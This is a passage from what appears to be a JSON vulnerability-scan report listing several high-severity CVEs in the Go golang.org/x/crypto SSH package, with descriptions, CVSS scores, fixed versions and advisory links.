"https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:54400", "https://access.redhat.com/errata/RHSA-2026:54432", "https://access.redhat.com/errata/RHSA-2026:57191", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57365", "https://access.redhat.com/errata/RHSA-2026:57801", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59559", "https://access.redhat.com/errata/RHSA-2026:59593", "https://access.redhat.com/errata/RHSA-2026:60446", "https://access.redhat.com/errata/RHSA-2026:60454", "https://access.redhat.com/errata/RHSA-2026:60477", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:65964", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:67450", "https://access.redhat.com/security/cve/CVE-2026-39829", "https://bugzilla.redhat.com/2480680", "https://bugzilla.redhat.com/2480681", "https://bugzilla.redhat.com/2480685", "https://bugzilla.redhat.com/2480688", "https://bugzilla.redhat.com/2480757", "https://bugzilla.redhat.com/2480761", "https://bugzilla.redhat.com/2493620", "https://bugzilla.redhat.com/show_bug.cgi?id=2480680", "https://bugzilla.redhat.com/show_bug.cgi?id=2480681", "https://bugzilla.redhat.com/show_bug.cgi?id=2480685", "https://bugzilla.redhat.com/show_bug.cgi?id=2480688", "https://bugzilla.redhat.com/show_bug.cgi?id=2480757", "https://bugzilla.redhat.com/show_bug.cgi?id=2480761", "https://bugzilla.redhat.com/show_bug.cgi?id=2493620", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25681", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-57231", "https://errata.almalinux.org/9/ALSA-2026-37123.html", "https://errata.rockylinux.org/RLSA-2026:37123", "https://go.dev/cl/781641", "https://go.dev/cl/781661", "https://go.dev/issue/79565", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://linux.oracle.com/cve/CVE-2026-39829.html", "https://linux.oracle.com/errata/ELSA-2026-37123.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39829", "https://pkg.go.dev/vuln/GO-2026-5018", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39829.json", "https://www.cve.org/CVERecord?id=CVE-2026-39829" ], "PublishedDate": "2026-05-22T04:16:22.31Z", "LastModifiedDate": "2026-09-16T13:17:52.28Z" }, { "VulnerabilityID": "CVE-2026-39830", "VendorIDs": [ "GO-2026-5017" ], "PkgID": "golang.org/x/crypto@v0.26.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.26.0", "UID": "45aa6c9df24bae03" }, "InstalledVersion": "v0.26.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39830", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:b2293357660ca5b62c212e8fdca3a8c565e8b4922938593f4f17bf826205a57b", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of Service via resource leak from unsolicited SSH responses", "Description": "A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close(), resulting in a resource leak per connection. Unsolicited global responses are now discarded.", "Severity": "HIGH", "CweIDs": [ "CWE-119", "CWE-772" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:29455", "https://access.redhat.com/errata/RHSA-2026:35833", "https://access.redhat.com/errata/RHSA-2026:36199", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:37072", "https://access.redhat.com/errata/RHSA-2026:37268", "https://access.redhat.com/errata/RHSA-2026:37271", "https://access.redhat.com/errata/RHSA-2026:37272", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:37278", "https://access.redhat.com/errata/RHSA-2026:37286", "https://access.redhat.com/errata/RHSA-2026:37296", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40969", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:40974", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:54400", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57801", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:65964", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/errata/RHSA-2026:67450", "https://access.redhat.com/errata/RHSA-2026:69961", "https://access.redhat.com/security/cve/CVE-2026-39830", "https://bugzilla.redhat.com/2480684", "https://bugzilla.redhat.com/2508234", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2480684", "https://bugzilla.redhat.com/show_bug.cgi?id=2508234", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2518147", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-17106", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19730", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39830", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-69961.html", "https://errata.rockylinux.org/RLSA-2026:69961", "https://github.com/golang/crypto/commit/4e7a7384ecbc8d519f6f4c11b36fa9d761fc8946", "https://go.dev/cl/781640", "https://go.dev/cl/781664", "https://go.dev/issue/79564", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://linux.oracle.com/cve/CVE-2026-39830.html", "https://linux.oracle.com/errata/ELSA-2026-69961.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39830", "https://pkg.go.dev/vuln/GO-2026-5017", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39830.json", "https://ubuntu.com/security/notices/USN-8447-1", "https://ubuntu.com/security/notices/USN-8447-2", "https://ubuntu.com/security/notices/USN-8447-3", "https://www.cve.org/CVERecord?id=CVE-2026-39830" ], "PublishedDate": "2026-05-22T04:16:22.44Z", "LastModifiedDate": "2026-09-16T13:17:53.697Z" }, { "VulnerabilityID": "CVE-2026-39831", "VendorIDs": [ "GO-2026-5019" ], "PkgID": "golang.org/x/crypto@v0.26.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.26.0", "UID": "45aa6c9df24bae03" }, "InstalledVersion": "v0.26.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39831", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:d7aa182c5745ab0d0df15a96ec86ce453a6c7c9f4ec59e929b75e7d781dcc5fc", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Security key bypass due to missing user presence check", "Description": "The Verify() method for FIDO/U2F security key types (sk-ecdsa-sha2-nistp256@openssh.com, sk-ssh-ed25519@openssh.com) did not check the User Presence flag. Signatures generated without physical touch were accepted, allowing unattended use of a hardware security key. To restore the previous behavior, return a \"no-touch-required\" extension in Permissions.Extensions from PublicKeyCallback.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "amazon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-39831", "https://github.com/golang/crypto/commit/b61cf853a89d82cad68da5e12a6beca2116f8456", "https://go.dev/cl/781662", "https://go.dev/issue/79566", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://nvd.nist.gov/vuln/detail/CVE-2026-39831", "https://pkg.go.dev/vuln/GO-2026-5019", "https://ubuntu.com/security/notices/USN-8447-1", "https://ubuntu.com/security/notices/USN-8447-3", "https://www.cve.org/CVERecord?id=CVE-2026-39831" ], "PublishedDate": "2026-05-22T04:16:22.553Z", "LastModifiedDate": "2026-07-23T16:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-39832", "VendorIDs": [ "GHSA-f5wc-c3c7-36mc", "GO-2026-5006" ], "PkgID": "golang.org/x/crypto@v0.26.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.26.0", "UID": "45aa6c9df24bae03" }, "InstalledVersion": "v0.26.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39832", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:f35a6f1e458b273f363fd9c94802dbe6e0d32941e12a63b4edce88fa72b959c2", "Title": "golang.org/x/crypto/ssh/agent: golang.org/x/crypto/ssh/agent: Security bypass due to improper handling of key restrictions", "Description": "When adding a key to a remote agent constraint extensions such as restrict-destination-v00@openssh.com were not serialized in the request. Destination restrictions were silently stripped when forwarding keys, allowing unrestricted use of the key on the remote host. The client now serializes all constraint extensions. Additionally, the in-memory keyring returned by NewKeyring() now rejects keys with unsupported constraint extensions instead of silently ignoring them.", "Severity": "HIGH", "CweIDs": [ "CWE-502", "CWE-281" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "V3Score": 8.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:35833", "https://access.redhat.com/errata/RHSA-2026:36199", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:37072", "https://access.redhat.com/errata/RHSA-2026:37123", "https://access.redhat.com/errata/RHSA-2026:37271", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:37410", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:59579", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/errata/RHSA-2026:67450", "https://access.redhat.com/security/cve/CVE-2026-39832", "https://bugzilla.redhat.com/2480680", "https://bugzilla.redhat.com/2480685", "https://bugzilla.redhat.com/show_bug.cgi?id=2480680", "https://bugzilla.redhat.com/show_bug.cgi?id=2480685", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835", "https://errata.almalinux.org/9/ALSA-2026-37410.html", "https://errata.rockylinux.org/RLSA-2026:37410", "https://github.com/golang/crypto/commit/e3d1254f1e7e60baa086142c46174bf6d8d0fe50", "https://go.dev/cl/778640", "https://go.dev/cl/778641", "https://go.dev/cl/778642", "https://go.dev/issue/79435", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://linux.oracle.com/cve/CVE-2026-39832.html", "https://linux.oracle.com/errata/ELSA-2026-37410.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39832", "https://pkg.go.dev/vuln/GO-2026-5006", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39832.json", "https://ubuntu.com/security/notices/USN-8447-1", "https://www.cve.org/CVERecord?id=CVE-2026-39832" ], "PublishedDate": "2026-05-22T04:16:22.663Z", "LastModifiedDate": "2026-09-15T12:17:40.787Z" }, { "VulnerabilityID": "CVE-2026-39835", "VendorIDs": [ "GO-2026-5015" ], "PkgID": "golang.org/x/crypto@v0.26.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.26.0", "UID": "45aa6c9df24bae03" }, "InstalledVersion": "v0.26.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39835", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:e84b4ec0094ba8a2ff1f588ba422137aeaef001bff3606c046ef476449bff266", "Title": "golang.org/x/crypto/ssh: golang: golang.org/x/crypto/ssh: Denial of Service via crafted SSH certificate", "Description": "SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil.", "Severity": "HIGH", "CweIDs": [ "CWE-295", "CWE-476" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:36199", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:37072", "https://access.redhat.com/errata/RHSA-2026:37123", "https://access.redhat.com/errata/RHSA-2026:37268", "https://access.redhat.com/errata/RHSA-2026:37271", "https://access.redhat.com/errata/RHSA-2026:37272", "https://access.redhat.com/errata/RHSA-2026:37286", "https://access.redhat.com/errata/RHSA-2026:37296", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:37410", "https://access.redhat.com/errata/RHSA-2026:38504", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40969", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:40974", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47949", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51036", "https://access.redhat.com/errata/RHSA-2026:51038", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:54525", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59593", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:62260", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/security/cve/CVE-2026-39835", "https://bugzilla.redhat.com/2480680", "https://bugzilla.redhat.com/2480685", "https://bugzilla.redhat.com/show_bug.cgi?id=2480680", "https://bugzilla.redhat.com/show_bug.cgi?id=2480685", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835", "https://errata.almalinux.org/9/ALSA-2026-37410.html", "https://errata.rockylinux.org/RLSA-2026:37410", "https://go.dev/cl/781660", "https://go.dev/issue/79563", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://linux.oracle.com/cve/CVE-2026-39835.html", "https://linux.oracle.com/errata/ELSA-2026-38504.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39835", "https://pkg.go.dev/vuln/GO-2026-5015", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39835.json", "https://www.cve.org/CVERecord?id=CVE-2026-39835" ], "PublishedDate": "2026-05-22T04:16:24.53Z", "LastModifiedDate": "2026-09-18T13:18:12.74Z" }, { "VulnerabilityID": "CVE-2026-42508", "VendorIDs": [ "GHSA-5cgq-3rg8-m6cv", "GO-2026-5021" ], "PkgID": "golang.org/x/crypto@v0.26.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.26.0", "UID": "45aa6c9df24bae03" }, "InstalledVersion": "v0.26.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42508", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:cf6751b7ef228d469123dfd36d1f450861c52cbd1a598b43ac8df37711143cca", "Title": "golang.org/x/crypto/ssh/knownhosts: golang: golang.org/x/crypto/ssh/knownhosts: Revocation bypass via unchecked SignatureKey", "Description": "Previously, a revoked 'SignatureKey' belonging to a CA was not correctly checked for revocation. Now, both the 'key' and 'key.SignatureKey' are checked for @revoked.", "Severity": "HIGH", "CweIDs": [ "CWE-295" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:35833", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:37072", "https://access.redhat.com/errata/RHSA-2026:37123", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41064", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51288", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:54400", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/errata/RHSA-2026:67450", "https://access.redhat.com/security/cve/CVE-2026-42508", "https://bugzilla.redhat.com/2480680", "https://bugzilla.redhat.com/2480681", "https://bugzilla.redhat.com/2480685", "https://bugzilla.redhat.com/2480688", "https://bugzilla.redhat.com/2480757", "https://bugzilla.redhat.com/2480761", "https://bugzilla.redhat.com/2493620", "https://bugzilla.redhat.com/show_bug.cgi?id=2480680", "https://bugzilla.redhat.com/show_bug.cgi?id=2480681", "https://bugzilla.redhat.com/show_bug.cgi?id=2480685", "https://bugzilla.redhat.com/show_bug.cgi?id=2480688", "https://bugzilla.redhat.com/show_bug.cgi?id=2480757", "https://bugzilla.redhat.com/show_bug.cgi?id=2480761", "https://bugzilla.redhat.com/show_bug.cgi?id=2493620", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25681", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-57231", "https://errata.almalinux.org/9/ALSA-2026-37123.html", "https://errata.rockylinux.org/RLSA-2026:37123", "https://github.com/golang/crypto/commit/f717e29698a271c548239ed56bf5dd9516d6f7e8", "https://go.dev/cl/781220", "https://go.dev/issue/79568", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://linux.oracle.com/cve/CVE-2026-42508.html", "https://linux.oracle.com/errata/ELSA-2026-37123.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-42508", "https://pkg.go.dev/vuln/GO-2026-5021", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42508.json", "https://ubuntu.com/security/notices/USN-8447-1", "https://ubuntu.com/security/notices/USN-8447-2", "https://www.cve.org/CVERecord?id=CVE-2026-42508" ], "PublishedDate": "2026-05-22T04:16:25.44Z", "LastModifiedDate": "2026-09-15T12:17:45.777Z" }, { "VulnerabilityID": "CVE-2026-46595", "VendorIDs": [ "GO-2026-5023" ], "PkgID": "golang.org/x/crypto@v0.26.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.26.0", "UID": "45aa6c9df24bae03" }, "InstalledVersion": "v0.26.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46595", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:6f5c0c5d838b8a86a601741b6537aa9252a7046c4be519a49e4046e2b717a278", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Authorization bypass due to skipped source-address validation", "Description": "Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped.", "Severity": "HIGH", "CweIDs": [ "CWE-863", "CWE-303" ], "VendorSeverity": { "amazon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:30650", "https://access.redhat.com/errata/RHSA-2026:30651", "https://access.redhat.com/errata/RHSA-2026:33524", "https://access.redhat.com/errata/RHSA-2026:33531", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:36820", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43692", 